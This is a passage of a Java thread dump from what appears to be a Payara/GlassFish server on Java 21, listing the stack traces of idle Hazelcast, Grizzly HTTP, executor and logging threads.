java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Job Cleanup Service" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389de04c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-2" #138 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.IO.thread-in-2" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #147 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1842) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f838d3c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.9/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.event-4" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3abe6a48 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.affectionate_khayyam.cached.thread-1" #101 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@20a80841 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(3)" #121 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@d265a9c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"log-notifier-1" #158 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f1f24e8 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at fish.payara.nucleus.notification.NotifierHandler.run(NotifierHandler.java:168) + at fish.payara.nucleus.notification.NotifierHandler$$Lambda/0x0000000401365478.run(Unknown Source) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:358) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Logging output pump" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@28084c9d + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:154) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:132) + +"Executor-Service-1" #137 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #8" #177 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Logging output pump" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26effbeb + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:154) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:132) + +"hz.affectionate_khayyam.partition-operation.thread-10" #83 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-scheduled-task" #159 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d7a69a3 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-9" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ea10065 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67c884f9 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"ForkJoinPool.commonPool-worker-1" #118 daemon [TIMED_WAITING] on java.util.concurrent.ForkJoinPool@99d8bd0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:449) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.awaitWork(ForkJoinPool.java:1891) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1809) + at java.base@21.0.9/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:188) + +"hz.affectionate_khayyam.partition-operation.thread-8" #81 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.event-2" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b85683e + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.affectionate_khayyam.cached.thread-3" #104 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@20a80841 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-5" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-10" #157 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@38205ea0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-10" #43 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"admin-thread-pool::admin-listener(1)" #133 daemon [WAITING] on java.lang.Object@3c9dc545 + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at 